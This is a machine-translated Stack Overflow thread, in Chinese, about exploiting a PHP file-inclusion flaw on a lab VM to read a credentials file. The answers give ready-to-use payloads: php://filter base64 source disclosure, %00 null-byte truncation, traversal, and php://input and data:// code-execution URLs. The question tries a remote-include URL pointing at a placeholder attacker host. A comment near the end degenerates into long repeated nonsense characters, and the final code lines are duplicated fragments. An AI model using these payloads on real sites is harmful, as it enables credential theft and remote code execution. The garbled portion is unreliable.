PHP安全漏洞-列出远程PHP文件的内容?

PHP安全漏洞-列出远程PHP文件的内容?,php,security,exploit,ssi,Php,Security,Exploit,Ssi,我试图利用运行在VM中的示例网站中的一些web漏洞进行攻击(它在web上不可用-仅用于教育目的)。我有一个名为setupreset.php的php文件,其中包含有关MySQL配置、设置和用于设置网站的密码的信息。这与其他php文件(索引、产品、论坛等)位于同一目录中 这是index.php的代码,仅供参考: <?php include ("includes/header.php"); // Grab inputs $page = $_GET[page]; if ($page=="") {

我试图利用运行在VM中的示例网站中的一些web漏洞进行攻击(它在web上不可用-仅用于教育目的)。我有一个名为
setupreset.php
的php文件,其中包含有关MySQL配置、设置和用于设置网站的密码的信息。这与其他php文件(索引、产品、论坛等)位于同一目录中

这是index.php的代码,仅供参考:

<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
    include("home.html"); 
} else { include ($page . '.php'); } 
include ("includes/footer.php");
?>

主要目标是列出
setupreset
PHP文件的内容,或者以某种方式下载它。如果导航到此文件:
http://10.211.55.5/index.php?page=setupreset
,它会被执行,但PHP代码自然不会显示,因为它是由PHP解释器解析的


现在,该网站使用PHP
include
s,因此URL如下所示:
http://10.211.55.5/index.php?page=products
。这似乎很容易受到远程文件包含的攻击,我可以简单地指向另一个PHP页面,例如
http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php
但是
允许url\u包含
关闭的
并且无法更改,所以这不起作用(我尝试了这个)。但是,
allow\u url\u fopen
很可能是打开的(因为默认情况下它是打开的),所以我的问题是:是否可以使用这种漏洞上传一个PHP文件或一些列出
setupreset.PHP
内容的脚本

事实并非如此。php文件之所以被执行,是因为您调用了
include
,如果调用了
readfile
file\u get\u contents
或类似的函数,您可以看到php文件的内容。

使用目录遍历,并以一个(如上所述)结束输入字符串


这将从包含中删除“.php”后缀,可能会对您有所帮助。

如果禁用了
allow\u url\u include
,则无法执行远程代码。但您可以找到其他页面,例如内容管理仪表板,以“图像”的形式上载代码,然后找到实际路径并将其包含在内

而且,仍然有很多方法可以利用

让我们看看你的代码。您可能会注意到,它会在路径的末尾自动添加扩展名
.php
。因此,您应该在GET param中删除
php
。但是,如果要包含的文件没有PHP扩展名怎么办?然后使用
%00
终止字符串,例如

http://localhost/include.php?page=../uploads/your_uploaded_fake_image.jpg%00
PHP中有一个特殊的协议,强大而危险。它是
php://
。 您可以查看以获取详细信息,这里我将向您展示一些使文件包含漏洞成为源代码泄露甚至远程代码执行漏洞的案例

在测试之前,我建议您使用带有插件的Firefox。这是一个强大的渗透测试套件

  • 来源披露
  • 此功能不需要允许包含url

    php://filter
    是一种元包装器,旨在允许在打开流时对流应用过滤器。这对于readfile()、file()和file_get_contents()等一体式文件函数非常有用,因为在读取内容之前,没有机会对流应用过滤器。()

    然后,您可以通过以下请求在同一目录中查看源代码
    secret.inc.php

    http://localhost/include.php?page=php://filter/read=convert.base64-encode/resource=secret.inc
    

    文件内容将用base64编码,因此它支持二进制文件

    获取敏感信息(如数据库密码或加密密钥)的功能非常强大!如果特权配置不当,它甚至可以跳出框架,从外部目录中的文件中提取数据,如
    /etc/passwd

  • 远程代码执行
  • 实际上您无法利用这种方式,因为在这种情况下,
    allow\u url\u include
    处于禁用状态。

    但我必须指出这一点,因为它是神奇的

    它与当地的完全不同。它不需要将任何文件上传到远程服务器。你只需要一个请求

    php://input
    可以访问原始HTTP请求正文,那么
    包括哪些内容(“php://input)
    do?只需访问
    http://localhost/include.php?page=php://input
    ,在请求正文中使用有效的PHP代码,然后您可以在远程服务器中执行任何(允许的)功能

    不要忘记使用
    %00
    来删除
    .php
    尾部

    此外,PHP支持
    data://
    URL方案。您可以直接将代码放入GET param!下面的测试不需要任何特殊工具,只有普通浏览器可以执行攻击

    http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
    
    您将再次熟悉phpinfo


    空字节技巧(
    %00
    )不再适用于PHP>=5.3.4:

    浏览器不会解析它。它由PHP解释器解析。浏览器仅显示它。你试过目录遍历吗?这可能有用…我的错,@nietonfir,这就是我的意思。我不确定这是否是一个打字错误,但它不应该读
    $\u GET[“page”]
    ?它不被浏览器解析。它由PHP解释器解析。据英国交通运输部(T)凯蒂蒂蒂维维维克蒂维维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维克蒂维蒂维克蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维蒂维尽管你能解释一下……制作file_get_content(),我刚刚得到了HTMLCreat工具,我一定会查出来的!请求
    php://filter/read=convert.base64-encode/resource
    做到了这一点,因为网站通过执行
    http://10.211.55.5/index.php?page=php://filter/read=convert.base64-encode/resource=setupreset
    。然后我简单地使用一个在线解码器(比如)来获取原始内容。非常感谢!没问题。顺便说一下,您可以直接解码base64 i
    http://localhost/include.php?page=data:text/plaintext,<?php phpinfo();?>
    
    http://localhost/include.php?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==